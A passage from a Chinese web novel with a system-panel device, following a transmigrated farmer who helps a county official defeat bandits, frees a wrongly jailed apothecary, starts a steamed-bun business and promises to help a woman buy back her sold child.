天黑之前,李逸带领众人找到了所有被射杀的恶匪尸体。那个被他特意留活口的恶匪却已不幸身亡,因失血过多冻僵在雪地里,身体硬邦邦的。
此次剿匪,算上木屋里的斩获,共击杀十四名匪徒,生擒两人。虽说仍有几人逃窜,但这样的战绩已然算得上大获全胜。
安平县县衙不仅不会被责罚,反而是立了大功一件,赵川作为带兵剿匪的县尉,当居首功,那几个跟随进山的新兵也能得到封赏。
这可让那些在外围牵制的兵油子悔的肠子都要青了,早知如此,他们当初就该主动请缨进山,如今说什么都晚了,只能在搜山时拼命表现,试图挽回些颜面。
当晚,赵川连夜审问了被擒的村正,终于得到确切消息,山**有**二十四人,还余下八人,因夜间搜山极易触发陷阱,赵川只能下令暂停行动,待次日天亮再进山。
被劫掠的税粮也全部找到,藏在木屋附近的一个隐秘山洞里。此番人赃并获,即便剩下几个匪徒逃脱,也无关大局。
“哈哈哈……李兄弟,等回了县城,我定要请你和你这位兄弟好好吃酒!”
赵川端起一碗热水,笑得合不拢嘴:“这次若不是你们,剿匪绝不会这么顺利。寻常
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猎户可没这等本事!来,以水代酒,我敬你一杯!”说罢,他咕嘟嘟一饮而尽。
李逸学着他的样子举起碗喝下,笑着谦逊道:“此次剿匪能成功,全靠县尉大人英明决断,我等不过是略尽绵力。”
赵川眨了眨眼,瞬间明白李逸是有意不邀功,想将功劳都算在自己身上,心中对他更添几分好感。
“既然事情已了,我便实话实说。大牢里的陈掌柜是我未来的丈人。我此次主动进山,多半是为了还他清白。”李逸坦诚道。
“哦……”赵川恍然大悟,如此一来,李逸之前的种种行为便都说得通,出力最多却不图赏钱功劳,这般举动本就透着古怪,如今总算解开了疑惑。
“此事好说!既然我们已经抓到真凶、还找回税粮,自然能还陈掌柜清白,你大可放心!”
赵川拍着胸脯保证:“今日天色已晚,明日一早我们便赶回县城,天黑之前定能将陈掌柜放出来。”
李逸再次抱拳行礼:“如此,便有劳县尉大人了!”
赵川的视线不经意间落在李逸手中的反曲**上,想起白天他在战斗中的惊人表现,好奇地问道:“李兄弟,今日在山中交手时,我便看出这张弓非同寻常,能否借我一观?”
李逸笑着将弓递了过去,赵川接过弓上下打量,对着这古怪的构造百思不得其解。
待他试着拉动弓弦,面色骤然一变!
拉开的瞬间虽能感受到明显阻力,但弓弦拉满后,借助转轮的辅助,只需维持极小的力量便能稳住,手臂也不会因用力过度而发抖。
“这弓的射程能有多少?”赵川急切地问道。
“百米之内,可精准射杀敌人。若是用最好的材料制作,射程与威力还能再提升。”李逸如实回答。
“嘶……百米!”赵川倒吸一口凉气。
军中的硬木弓虽说也能射出百米,但超过五十米后,准头与威力便会大打折扣。正因如此,之前在山林中与匪徒对峙时,七八十米的距离双方都难以精准命中,唯有李逸与秦心月能做到又快又准。
“好弓啊!”赵川由衷赞叹:“若是军中士兵都能配备这样的弓,战斗力必定会大大提升啊!不知李兄弟可否将这弓的制作之法告知?”
李逸早料到会有这样的请求,当即爽快地答应:“可以。不过成品制作出来后,我要先挑选几张趁手的,另外还需配备一百支羽箭,这样我才能狩猎更强的猛兽。”
赵川略一沉思,便一口应允:“好!这个条件我能做主,回去后便让人着手准备!”
整个过程中,秦心月始终一言不发,只是低头凝视着面前的火堆,赵川并未过多在意,只当她是性格内向。
夜色渐深,李逸借口疲惫带着秦心月回到马车上休息。
李逸很自然地又将她搂入怀中,车厢外寒风呼啸吹得马车微微摇晃,发出类似敲击木板的声响。
李逸将自己猎虎的经过娓娓道来,刻意省去了使用**的部分,只说自己用计将老虎引出后偷袭得手。
当听到李逸竟用撒尿的方式引诱老虎时,秦心月忍不住发出清脆的轻笑,眉眼间满是柔意。
“唉?你这笑是什么意思?嘲笑夫君吗?”李逸故作不满地刮了刮她的鼻尖:“老虎我都能猎到,还收拾不了你?”
秦心月连忙摇头,眼中笑意未减:“心月不敢嘲笑夫君,只是佩服夫君聪慧过人,能想出这般新奇的法子。”
“嗯....算你识相。”李逸亲昵地捏了捏她的脸颊,笑容温柔。
以往总是看到李逸这般宠溺白雪儿,如今亲身体会到这份温柔,秦心月只觉心中甜丝丝的,那是一种她从未感受过的被人珍视宠溺的滋味。
黑夜漫长,却又因身边人的陪伴而显得格外短暂,同一片夜空下,只因身边人的不同便有了截然不同的心境……
第五十三章:馒头生意火爆
今天是上头给出期限的第九天,明日便是最终交差之日,劫掠税粮一案必须要有个最终的交代。
天边刚泛起一抹惨淡的鱼肚白,寒风卷着碎雪在村口呼啸,赵川早早组织人手整装出发,他留下十五名士兵驻守山林外围,吩咐他们仔细搜寻逃窜匪徒的踪迹,务必不留后患。
“驾!”
低沉的喝声穿透清晨的昏暗,马车车轮辘辘转动,碾过积雪覆盖的土路,缓缓驶离清溪村。
与来时的凝重不同,李逸此刻的心境格外轻松。一来总算没辜负陈玉竹的托付,二来此番遇事他没有逃避退缩,而是主动出手解决了难题,胸腔里积压多日的憋闷一扫而空,连迎面吹来的寒风都带着几分清爽的畅快感。
事发之初,他也曾觉得自己人微言轻,不过是个普通农户,怕是无力回天。可一番挣扎后,他终究选择了挺身而出,如今看来,办法总比困难多这句话果然所言非虚。
赵县尉和手下兵卒们的心境更是天差地别。来时个个焦躁不安,如临大敌,此刻返程却像是打了大胜仗的将士,精神振奋,腰杆挺得笔直,脚步都透着轻快,连说话的嗓门都比来时洪亮了几分。
另一边....安平县衙内.....
县令伍思远也早早起了身,来回踱步在书房内,眉宇间满是连日未消的忧虑。昨日听张贤传来口风,说王金石将那位猎虎的猎户介绍给了赵川,他心中才勉强生出几分期待,能猎杀猛虎的猎户定然是有些真本事的。
不到正午,李班头便急匆匆赶来汇报:“大人!赵县尉回来了!还带回了被劫掠的税粮!”
“你说什么!当真?”伍思远猛地停下脚步转身看来,眼中瞬间迸发出亮色。
能追回税粮,便意味着**已被拿下,这桩棘手的案子总算能有个圆满交代了!
不多时,赵川便满面春风地踏入书房,脸上的笑意藏都藏不住,单看他这神情,伍思远心中彻底安定,连日的阴霾一扫而空。
“县令大人,下官不辱使命!昨日进山大破恶匪,共击杀十六人,生擒二人,被劫掠的税粮已尽数追回!”赵川抱拳躬身,声音铿锵有力。
听到准确的战绩汇报,伍思远心情为之一振,猛地一拍桌案:
“好!赵县尉!我安平县有你,实乃全县百姓之福!此案你记首功一件!即刻将那两名生擒的恶匪带上来,本县令要亲自审问!”
“是!”
县衙内顿时忙碌起来,人人脸上都带着劫后余生的轻松。而李逸与秦心月并未在此逗留,辞别赵川后,径直去了王记酒肆。
见到李逸二人平安归来,王金石一直悬着的心总算落了地,连忙迎了上来:“李兄弟,瞧你眉眼间藏不住的笑意,想必是传来捷报了吧!”
李逸点头轻笑:“运气不错,那伙恶匪多半伏诛,被劫的税粮也已追回。”
“好啊!大快人心!”
王金石连连拍手叫好,脸上的肥肉随着动作抖动:“兄弟你亲自出手,果然不同凡响!伙计,快!上些热乎吃食,再搬两坛好酒来!为李兄弟接风洗尘!”
很快,热气腾腾的饭菜和两坛米酒便摆上了桌。秦心月下意识看向李逸,见他微微点头,才缓缓拉下脸上的围脖,露出本来面容。
王金石眨了眨眼,盯着秦心月看了半晌,总觉得有些眼熟,却又想不起在哪见过。
“王大哥不必猜了。”李逸笑着解释:“这是我媳妇,之前隐瞒了她的身份,还望王大哥莫怪。”
“哎呀!”王金石啧啧称奇,连忙拱手:“没想到弟妹竟也是这般打猎的好手,真是女中豪杰啊!佩服佩服!”
“还请王大哥替我们保密,不愿过多张扬。”李逸语气诚恳地恳求。
王金石毫不在意地挥挥手:“呵呵呵,放心!我什么都不知道!来,喝酒!”
一碗米酒下肚,王金石擦了擦嘴,故作神秘地凑近:“兄弟,你猜哥哥我昨天卖了多少馒头?”
李逸笑着伸出五根手指:“五十个?”
“唉?不止!”王金石摇头晃脑,一脸得意:“你也太小看哥哥了!昨天一天就卖了两百个!你带来的三百个馒头根本不够卖啊,赶紧处理完这边的事,多给我送些来!”
他顿了顿,继续说道:“昨天我卖十钱一个,今天涨到十五钱,照样有人抢着要!那些大户人家的夫人小姐,最爱吃这松软香甜的馒头,连我老娘的胃口都好了不少!”
馒头畅销早在李逸预料之中,他笑着应道:“等把陈掌柜接出来,我就多准备些送来。”
“哈哈!好!咱们兄弟一起发财啊!”王金石咧嘴大笑:“昨晚我就把县城各粮店的小麦全收了回来,足足三千斤!这馒头是小麦做的,用不了多久大家就能尝出门道,提前囤些,以防供不应求啊!”
李逸竖起大拇指,真心夸赞:“王大哥深谋远虑,兄弟佩服!”
“唉?该是我佩服你才对!能做出这种吃食”王金石拍了拍他的肩膀:“咱们兄弟携手,定能赚得盆满钵满!”
吃完饭,想到陈掌柜下午便能被释放,李逸特意去了三才药铺,买了些治疗外伤和风寒的药材。药铺的年轻掌柜做生意爽快,不斤斤计较,李逸觉得与他颇为投缘。
未到傍晚,赵川便亲自赶着马车将陈掌柜送到了王记酒肆。
李逸连忙上前道谢,赵川还有公务在身,寒暄几句便匆匆离去,临走前还特意叮嘱,改日定要好好请李逸喝一顿。
短短十天的牢狱之灾,竟让陈掌柜像是苍老了十岁。头发花白凌乱,眼窝深陷,颧骨凸起,原本还算精神的面容此刻满是憔悴。他身上的衣衫沾满污渍,裸露在外的手腕和脖颈上还留着青紫的伤痕,在牢中受了不少苦头,还染上了风寒。
以他如今的身体状况,若是不及时医治修养,怕是会有性命之忧。
虽身体虚弱,陈掌柜的精神状态却还算清明。一路上他已听闻,是李逸冒险跟着官兵进山剿匪,拿下**后才还了他清白,心中满是感激,看向李逸的眼神中带着动容。
李逸稍作思索,决定赶着骡车将陈掌柜送回了乡里的药铺。
伙计小六这些日子一直守在药铺里,生怕有人趁机闯进来偷药材,见到李逸将陈掌柜平安带回,当即红了眼眶,扑上来哭的鼻涕一把泪一把。
“东家!你终于回来了!小六还以为……还以为再也见不到你了!”
将陈掌柜扶进后屋的床上,小六连忙生起炭火,将屋子烘得暖烘烘的。李逸亲自下厨,让小六熬制汤药,动作娴熟利落。
“小兄弟,玉竹……她怎么样了?”陈掌柜躺在床上,声音沙哑,眼神中满是牵挂。
李逸端着温水走过去,笑着安慰:“玉竹姑娘前些日子也染了风寒,不过现在已经痊愈了,就是身子还有些虚,日日惦记着您。如今您平安出来,她知道了定然会十分开心!”
陈掌柜粗糙干裂的手紧紧握住李逸的手腕,力道虽轻,却带着无尽的感激:“这次……这次我们父女俩,多亏了你啊……”
“陈掌柜客气了。”李逸轻轻拍了拍他的手背:“当日若不是您让我进店,我家媳妇怕是熬不过风寒。滴水之恩自当涌泉相报,这些都是我该做的。”
陈掌柜本就虚弱,喝下温热的汤药后,没多久便沉沉睡了过去。
李逸与秦心月商议片刻,决定由李逸连夜驱车回大荒村接陈玉竹。明日便是第十天,想来陈玉竹定是心急如焚,早日见到父亲,也能让她安心。
秦心月则暂时留下和小六一起照顾陈掌柜。有她在,若是有不怀好意之人前来窥探,也能从容应对。
夜色渐浓,寒风更烈......
大荒村,李逸家中……
陈玉竹躺在炕上,睁着眼睛望着黑漆漆的房梁,毫无睡意。明日便是期限的第十天,是决定父亲生死的关键日子。李大哥和秦姐姐已经离开两天了,至今没有任何消息,她心中既担忧又害怕,一颗心悬在半空,沉甸甸的。
一整天她都没什么胃口,粒米未进,眼看天色越来越暗,依旧没有消息传来,陈玉竹的心一点点沉了下去,她甚至已经做好了最坏的打算,父亲怕是要枉死,为那些恶匪顶罪了。
“爹爹……女儿不孝……不能救您……”
眼泪不受控制地从眼角滑落,浸湿了枕头,无声的呜咽在寂静的夜里格外清晰。
和她一样无法入睡的,还有白雪儿和于巧倩。
李逸和秦心月离开时都带着弓箭,显然是要进山帮着剿匪,可那些匪徒凶悍狡猾,官府多次围剿都未能成功,万一李逸遭遇不测……
白雪儿不敢再往下想,双手紧
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紧攥着被褥,在心中不停哀求:夫君,你一定要平安回来啊……
于巧倩虽不像白雪儿那般对李逸百般依赖,可相处日久,她真切感受到了李逸的体贴与照顾,早已从心底接纳了他。一想到李逸可能身陷险境,她的心就像是被一只无形的手紧紧揪着,疼得厉害,辗转反侧难以入眠。
“吁.....”
骡车停在院门外,紧接着传来急促的敲门声:“雪儿,倩儿,开门啊!”
熟悉的声音穿透夜色,炕上躺着的三人瞬间精神一振!
白雪儿像是受惊的小兔子,猛地坐起身,眼中迸发出惊喜的光芒,连声道:“是夫君!夫君回来了!”
这一次她没有慌慌张张,快速穿好厚厚的冬衣,戴上毛茸茸的皮帽,迫不及待的冲出屋去,拉开门眼睛亮晶晶地望向门外。
片刻之后,李逸带着一身刺骨的寒气走进屋里,身上还沾着些许雪沫。
见到只有他一人归来,于巧倩连忙起身问道:“夫君,心月呢?她还好吗?”
“放心,心月没事。”李逸摘下皮帽,笑着解释:“她留在陈掌柜那里照顾他,陈掌柜刚从大牢出来,身体虚弱,需要人照看着。”
“呀!”白雪儿眼睛一亮,脱口而出:“夫君,你们把陈掌柜救出来了?”
这句话恰好问出了陈玉竹此刻最关心的事。李逸转头看向她,语气温和却坚定:
“玉竹,陈掌柜已经平安释放了。那伙匪徒大部分被击杀或生擒,你不用再担心,你爹爹安全了。”
“真……真的?”
陈玉竹的美眸中满是难以置信,眼泪再次汹涌而出,这一次却是喜极而泣。压在胸口多日的巨石轰然落地,连日来的担忧与恐惧,在这一刻尽数化为劫后余生的庆幸。
“是真的。我还能骗你吗”李逸点头。
“你今夜好好休息,养足精神,明日一早我就送你回去。陈掌柜身子虚弱,需要有人照顾。”
陈玉竹用力抹了把眼泪,连连点头,声音带着哽咽:“嗯……谢谢李大哥,谢谢秦姐姐……”
情绪平复了些,她才感觉到腹中空空,不好意思地看向于巧倩:“倩姐姐,我……我有些饿了……”
一整天粒米未进,此刻紧绷的神经放松下来,饥饿感瞬间涌上心头。
“呵呵.....我也有些饿了。”李逸跟着笑道。
于巧倩点头:“好,我这就去热馒头,这两日嫂嫂又蒸了三百个。”
李逸欣慰点头:“让嫂嫂来蒸馒头还真是找对人了。雪儿,你去给大骡子端盆温水,别冻着它。”
“好的!夫君你在炕上暖着就好!”白雪儿欢快地应着,转身跑出屋去。
二人离开后,屋里只剩下李逸和陈玉竹。
心中的顾虑彻底消失,陈玉竹才终于顾得上其他。这些日子她整日躺在炕上忧心忡忡,未曾好好梳洗,头发有些凌乱,衣衫也略显褶皱。
被李逸这般近距离注视着,她脸颊微微发烫,有些害羞地低下头,下意识地拢了拢额前的碎发。
“李大哥……这次多亏了你。若非你出手,我和爹爹怕是难逃此劫。”陈玉竹缓缓起身,对着李逸深深一拜:“请受玉竹一拜!”
见她心意恳切,李逸没有上前搀扶,坦然受了这一拜。他知道,只有这样陈玉竹心中的感激之情才能稍稍释怀。
这两日连日赶路、进山剿匪,夜里又睡在冰冷的马车车厢,李逸确实身心俱疲。
坐在温暖的炕上,吃着热乎乎的白面馒头,身前是蹲着给他洗脚的白雪儿,手脚渐渐回暖,心中也泛起阵阵暖意。
暖意之余,他却忍不住牵挂着秦心月。虽说是自幼习武身手不凡,可终究是女儿身,在药铺里怕是也无法好好休息,比他还要辛苦些。
陈玉竹想到明日就能见到父亲,心中安定下来,竟也吃下了两个馒头。
熄灯躺下后没多久,身旁的李逸便传出了均匀的鼾声,单听这鼾声,便能想象出他为了自己爹爹的事,究竟耗费了多少心力,疲惫到了何种地步。
陈玉竹睁着眼睛,脑海中混乱地想着这些日子的经历,兴奋的心情渐渐平复。不知过了多久,终于沉沉睡去。
夜里,她做了一个清晰而温暖的梦。
梦里,阳光正好,在爹爹欣慰的目光中,嫁给了李逸……
第五十四章:我想把孩子买回来
次日......
早早练完《气合拳》,李逸便牵着骡子套好车,陈玉竹归心似箭,只想快些回家见到爹爹,连早饭都顾不上吃就载着陈玉竹离开大荒村。
走之前,李逸特意装了一百个馒头,又拿个蒸馒头的笼屉,这几天让陈掌柜父女吃些松软的馒头,养胃又补身。
他又拎出半扇鹿肉,剩下的半扇早已让他留在了王记酒肆。王金石这次不仅出力不少,更是生意上的合作伙伴,送些野味既是感谢也是维系情谊。
李逸手持缰绳走在前面,手掌不时地轻摸下大骡子的脖颈,自从将这头大骡子卖回来,它就跟着连日奔波,不过因为喂养得好,大骡子看起来比刚买回时精神不少。
骡车轱辘碾过有积雪的土路,发出咯吱咯吱的轻响,后面板车上陈玉竹裹着厚厚的棉被,头上戴着李逸给她的白色兔皮帽,兔毛蓬松柔软,蹭得脸颊微微发痒。
她侧头看向前面,美眸盯着李逸不算宽厚的背影,眼底满是藏不住的依恋与感激。
一路心心念念,终于望见乡里那圈破败的土城墙,墙皮被寒风侵蚀得坑坑洼洼,墙头枯草在风中瑟缩。
“驾!”
李逸察觉到她的急切,用小树枝轻轻抽打大骡子,大骡子打了个响鼻,蹄子卖力地踩踏加快了车速,很快便抵达了药铺门口。
被李逸搀扶着进屋,陈玉竹一眼就看到躺在床上的父亲。
陈掌柜面色蜡黄,颧骨高耸,原本还算精神的眼神此刻有些黯淡无光,身上的旧伤还在隐隐作痛,整个人像是被抽走了精气神。
“爹爹!”
陈玉竹再也忍不住,眼泪夺眶而出,扑到床边紧紧握住父亲枯瘦的手,声音哽咽得几乎不成调。
陈掌柜颤抖着抬起手,粗糙的指尖抚过女儿的脸颊,嘶哑着开口:
“玉竹莫哭……爹没事的……”
李逸悄悄牵起秦心月的手退出屋,把空间留给这对久别重逢的父女。
“心月,你昨晚休息得如何?”李逸捏了捏秦心月的手掌,语气满是关切。
秦心月唇角勾起一抹浅淡的笑意,眼中带着不易察觉的温柔:“还好,夜里很安静,没什么动静。”
与李逸相处日久,她脸上的笑容渐渐多了起来,只是面对外人时依旧是那副沉默寡言的清冷模样。
李逸笑了笑,伸手帮她拢了拢耳边的发丝:“看这边没什么事,咱们下午就回家。”
陈玉竹虽回来了,可她连日忧思,食欲不振,整个人瘦了足足十几斤,两颊微微凹陷,少了往日的灵动,倒添了几分病弱的楚楚可怜。
好在有小六跟在旁边可以跑腿使唤,陈掌柜待他不薄,小六也懂得感恩,若是没有陈掌柜的照拂,他和腿有残疾的老娘早就饿**,这些日子他一直守着药铺,生怕有人趁乱偷抢药材。
见药铺这边暂无大碍,李逸便转身离开去了石匠铺。
上次来乡里本就是为了定制石磨和石碾子,没成想遇上陈掌柜入狱的急事,耽搁到现在。
如今王金石那边的馒头销路正好,他得赶紧把磨具备好,多蒸些馒头积攒钱财,兜里有钱后续想做的事才能顺利展开。
还没走到石匠铺,就听到叮叮当的锤击声,只是这声音断断续续,有气无力,像是没了力气的老人在咳嗽。
王石匠正无精打采地坐在石料旁,手里的凿子有一下没一下地敲着,整个人显得有些心不在焉,时不时地还要叹上一口气。
“唉......”
入冬后就没什么活计,上一单买卖还是李逸来打那两个古怪的圆石盘,虽说换了些米粮解了燃眉之急,可这冬天才刚开始,往后的日子该怎么熬?
李逸一眼就看出他满脸的愁容,走上前笑着开口:“王石匠,我这有个急活,不知道你能不能接?”
王石匠闻声转头,看清来人后,原本黯淡的眼睛瞬间亮了起来,连忙丢下凿子站起身,搓着双手快步迎上来,语气急切:
“唉?是你啊小兄弟!快说快说,又想打什么物件?”
“这次要做两个大件,一个今天就得要,天黑前我得离开,另一个可以缓几天。”李逸开门见山。
听说有两个活计,王石匠更是喜上眉梢,拍着胸脯保证:“好说好说!小兄弟你的活,我肯定做得又快又好,保准让你满意!”
李逸当即蹲下身,在地上用树枝画出石磨和石碾子的模样,细细说明尺寸。
石磨和家里现有的大小差不多,只是在研磨齿的细节上稍作修正,石碾子则要做个大号的,配上个厚重的磨盘。王石匠虽不清楚这些物件具体用途,却知道有活干就有米粮,家里紧巴巴的日子总算能松快些。
这么大的石碾子,搬运石料本就不易,连工带料的价钱足足是石磨的三倍。
王石匠怕李逸嫌贵,主动让了六十钱:“小兄弟,你常来照顾我生意,这点钱就算我给你让利了。”
李逸见状索性追加了订单,又让王石匠再做一个小一些的石磨,后续他打算用它研磨黄豆,磨出豆浆后好制作豆腐”
这样一来,他可以分批次来取,王石匠手里有活干也不用闲得心慌。
李逸痛快地掏出一半铜钱作为定金,沉甸甸的铜钱落在王石匠手里,让他瞬间有了底气,拍着胸脯保证:“你放心,天黑前准保给你赶制好一个!”
从王石匠那离开,李逸又去了杂货铺,买了些粗盐和豆豉,入冬后盐价涨了两成,他索性多买了十几斤囤着。
随后又去布行挑了两米细密的纱布,这是做豆腐时过滤豆渣的必需品。正要离开时,他的目光落在了货架角落的几卷绸布上,布料色泽鲜亮,手感光滑细腻。
乡里不比县城,百姓大多买最便宜的麻布和葛布,这几卷绸布怕是一两个月都卖不出去。李逸脑海中瞬间闪过三个女子的模样,手指摩挲着布料盘算。
湖水蓝给心月,衬她清冷气质。
胭脂红给雪儿,配她活泼性子。
月白给巧倩,显她温婉。
还有一卷嫩黄,留着做些小配饰,一番讨价还价后,他以四百二十钱一卷的价格买下四卷,这价钱比县城便宜了近百钱,逢年过节赶上个什么日子,价格还要更高。
正午时分,药铺里飘起馒头的香气。小六和陈掌柜咬下一口松软的馒头,眼睛瞬间亮了起来,千言万语最终只化作两个字:好吃!
乡里冬日最常见的菜就是萝卜,大白菜还未普及,葱和蒜产量也低,荒年里农户们连粟米都吃不饱,哪里有心思种这些。
李逸在集市上看到有卖葱的,价格不贵索性买了一大捆,打算回去弄个木槽,在屋里种上,吃的时候随时现摘,穿越前,农村的奶奶就总这样做,一到冬天屋里一盆盆的都是大葱,甚至花盆里都要种上。
陈玉竹解了心病,吃了几顿饱饭,气色好了许多,有小六在旁帮衬也能应付些琐事。李逸和秦心月便不再逗留,起身告辞。
临上车前,陈玉竹一直送到门口,望着骡车渐渐远去,美眸闪烁,不知在想些什么。
到石匠铺取了赶制好的石磨,稳稳地装上车,骡车缓缓驶出乡里的土城门。
秦心月坐在骡车上,看着两侧缓缓退走的景色,心中竟生出几分归属感,虽说在大荒村住的时日不长,可这里有李逸,每天跟着干些活计,是她这一年漂泊从未有过的安定。
临近大荒村,李逸指着前方一大片荒芜的土地,笑着打趣:“心月,来年开春,夫君要在这里开垦十亩良田,到时候你可就不是什么女侠了,是我的农妇喽!”
秦心月顺着他指的方向看去,嘴角扬起温柔的笑意:
“我本就不是什么女侠,不过是个落难女子。嫁夫从夫,夫君让我做什么,我便做什么。
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”
李逸故意凑近,压低声音调笑:“嗯……你这想法甚合夫君心意。”
回到家时,白雪儿早已在门口翘首以盼,看到二人归来,立刻像只欢快的小麻雀扑了上来。李逸让她烧些热水,这四天来回奔波,秦心月确实需要梳洗一番,好好歇息下。
炕上,白雪儿缠着秦心月,叽叽喳喳地询问这两天的经历,秦心月也不嫌弃,耐心地一一讲述。
于巧倩坐在一旁,手里拿着针线活,指尖熟练地穿梭着,连日练习,她的手法愈发娴熟,只是手上仍留着几处被针扎破的细小伤口。听着秦心月的讲述,她时不时抬头望过来,嘴角带着浅浅的笑意。
张绣娘怕孩子们打扰他们,便带着豆子和大丫在木棚里忙活,两个孩子在一旁追逐嬉戏,偶尔跑到另一个木棚下,好奇地打量着那头高大的骡子。
陈氏的状态比刚来时长进了不少,不再整日沉默寡言,偶尔还能和张绣娘说上句话。李三这么多天没回来,她心里早已猜到多半是冻死在哪个雪窝子里了。
这些日子,她天天能吃饱饭,有厚实的冬衣穿,大家待她都极好,她对日子渐渐有了盼头,只是心里始终牵挂着那些被送走的孩子……
李逸看着忙碌的张绣娘,走上前问道:“嫂嫂,这些天天天磨面蒸馒头,腰要是不舒服可别硬撑,该歇息就歇息,别累坏了身子。”
张绣娘正拨弄着锅灶里的木柴,闻言抬头笑了笑,眼角的细纹里满是暖意:
“没事,这点活计不算累。对了三兄弟,咱们的馒头在县城卖得怎么样?”
“哎呀,瞧我这记性,忘了跟嫂嫂说了!”
李逸拍了拍脑门,放下手里的木工工具,从腰间摸出一串沉甸甸的铜钱,塞进张绣娘手里。
“这是咱们之前蒸的馒头卖的钱,按说好的三七分,这些是嫂嫂应得的!”
张绣娘瞪大了眼睛,握着铜钱的手微微颤抖。
她从未想过,蒸三百个馒头竟能赚这么多钱,沉甸甸的一串,足有三百钱!
“三兄弟……这是不是太多了?”她连忙把铜钱往回推:“都是你在张罗,这吃食也是你想出来的,我不能拿这么多。”
“嫂嫂,这话就见外了!”李逸按住她的手,把铜钱又推了回去:“我当初就说过,要带你一起赚钱,让豆子和大丫吃饱穿暖。这是你应得的,别不好意思。再说,这馒头买卖咱们只能做一阵,等旁人学会了,价格就降下来了,趁现在多攒点钱,日后遇事心里才有底。”
两人手握着铜钱推来推去,旁边的豆子看得咯咯直笑。张绣娘这才反应过来,自己的手正被李逸握着,脸颊腾地一下红透了,低下头,攥着铜钱再也不说话。
木棚里咚咚咚的撞击声一直没停,是陈氏在给粟米脱壳。
李逸转头看过去,笑着说道:“陈嫂,过几日你也学着做馒头,到时候我也给你分一份工钱,有钱了想买什么就买什么。”
虽说王赖子不是好东西,还被他亲手解决了,可按年纪辈分,他确实该喊陈氏一声嫂嫂。
陈氏的动作猛地一顿,缓缓转过身,脸上早已泪流满面,嘴唇颤抖了半天,才哽咽着开口:“我……我想把孩子买回来……”
李逸和张绣娘皆是一怔。陈氏抹了把眼泪,声音愈发颤抖:“以前的孩子……就算了,可前些日子那个……我想把她买回来……”
张绣娘转过头,偷偷抹了把眼泪。她有大丫和豆子,深知孩子是娘的命,最能理解陈氏的心情。
李逸深吸一口气,平复了心中的酸涩,郑重说道:“好说!只要陈嫂知道孩子在哪,明天我就带你去把她买回来!”
话音刚落,陈氏扑通一声跪倒在地,泪水顺着脸颊滚落:“多谢……多谢三兄弟……”
李逸连忙上前搀扶:“唉?陈嫂!你这是干什么?快起来!”
第五十五章:胡同里的算计
“李三兄弟,王赖子他就是个畜生!他先前那般对你,你反倒还肯帮我,往后我愿当牛做马的伺候你!”陈氏跪在地上,泪水模糊了双眼,声音哽咽得不成调,挤压在心底多年的委屈彻底爆发出来。
“陈嫂,快起来!你若再跪着我可就生气了,往后我这家里你也别来了。”李逸语气严肃,不似玩笑。
听出他话里的认真,陈氏连忙撑着地面站起身,用袖口胡乱擦了把眼泪,眼眶依旧通红。
“你知道孩子被卖到哪里去了吗?”李逸问道。
陈氏努力回忆着,声音带着后怕:
“那日......王赖子回来就骂骂咧咧,说娘娘村的吴大不是东西,明明说好要三斗粟米,最后只给了不到两斗。”
“娘娘村?”李逸眉头微蹙,原主李三的记忆里并无这个村子的印象。
张绣娘闻言走上前来,轻声说道:“娘娘村我知道,我娘家就是那边的,爹娘过世后,我就再也没回去过了。”
李逸详细问清了路线,打定主意明天一早就带着陈氏过去。
晚饭过后,张绣娘和陈氏相继回了家,听闻李逸要帮陈氏找回孩子,白雪儿、秦心月和于巧倩都觉得是件好事,陈氏这些日子在院里干活勤勉卖力,从不偷懒耍滑,大家都看在眼里,力所能及地帮衬一把也是应当。
入夜......
木屋被油灯昏黄的光填满。白雪儿、秦心月和于巧倩围坐在热炕头,身下的火炕暖烘烘的,身上裹着厚实的绸布棉衣,即便木屋墙壁单薄,也丝毫不觉寒冷。
李逸拎着一个鼓鼓囊囊的麻袋走进来,轻轻放在炕上。三女好奇地望过来,眼神里满是疑惑。
“夫君,这里面是什么呀?”白雪儿率先凑上前,小手扒着麻袋边缘。
李逸故作神秘地笑了笑:“你打开看看就知道了。”
白雪儿麻利地解开麻袋口的麻绳,当看清里面的东西时,忍不住呀的轻呼出声。
“哎呀...雪儿,别一惊一乍的,吓我一跳。”于巧倩嗔怪地瞪了她一眼,也凑了过来。
借着油灯昏黄的光芒,能清晰看到麻袋里有着四卷布料,她的眼睛瞬间亮了起来。
白雪儿一把将麻袋扯倒,四劵绸缎哗啦啦落在炕上,色泽鲜亮,在灯光下泛着柔和的光泽。
“哇!好漂亮的布啊!”她兴奋地拍手,伸手摸着布料光滑的质感。
于巧倩指尖划过绸缎,也连连点头:“嗯,是上等的绸布呢,摸着手感就不一样,在县城里怕是要卖不少钱。”
李逸坐在炕边,笑着说道:“今日去买纱布,看到这几匹布颜色好看,质地也不错,就想着买回来给你们三个做身新衣服,凭你们三人的身段穿上定是极好看的,便索性我都买了下来。”
“夫君最疼雪儿了!”
白雪儿欣喜地从炕上跳下来,从身后一把抱住李逸的腰,脸颊贴在他的背上蹭了蹭。
“让夫君破费了,王店主送的那些冬衣已经很好了。”
于巧倩嘴上说着客气话,嘴角却忍不住微微上扬,眼底满是欢喜。
【白雪儿好感度+5(当前好感度70)】
【于巧倩好感度+5(当前好感度28)】
李逸等了片刻,始终没等到秦心月的好感度提示,他悄悄地打开人物面板。
发现在伴侣一栏依旧没有秦心月的名字,心中不禁疑惑:难道非要确定了夫妻之实,才能出现在面板上?
想到自己的隐疾,李逸不由得皱了皱眉。
好在近日给陈玉竹和陈掌柜诊治,医术熟练度不知不觉涨到了92点,如此再努努力就能升级,或许到那时,就能找到解决隐疾的办法了。
三女在炕上叽叽喳喳地讨论着各自喜欢的颜色,李逸则坐在桌边继续忙活木工活,他打算做一个大浴桶。
家里如今有三位女眷,只用小木盆洗漱实在不便,一个宽敞的浴桶是很有必要。
他抬头看了眼桌上的油灯,灯芯燃烧时冒着淡淡的黑烟,屋子里弥漫着一股煤油味。
这时代的照明实在落后,蜡烛造价高还不耐用,油灯又油烟大,时间久了屋顶都被熏得发黑。李逸略一思索,便放弃了搞电灯的不切实际想法,最多改良一下蜡烛的配方,没必要在这上面浪费太多精力。
收拾好木工工具,李逸准备熄灯歇息,抬头恰好对上秦心月望过来的目光。
于巧倩体寒,平日里睡在炕头最暖的位置,李逸睡在炕梢,觉得这边墙薄透风,白雪儿总粘着他便紧紧挨着,所以秦心月就睡在白雪儿和于巧倩之间。
白雪儿正要吹灯,李逸突然开口:“心月,你最近火气有些大,肝火旺,还是睡炕梢凉快些,今晚你睡这边吧。”
“嗯……好。”秦心月轻轻点头,抱着自己的被褥挪到炕梢躺下。
这下,李逸便夹在了白雪儿和秦心月中间。
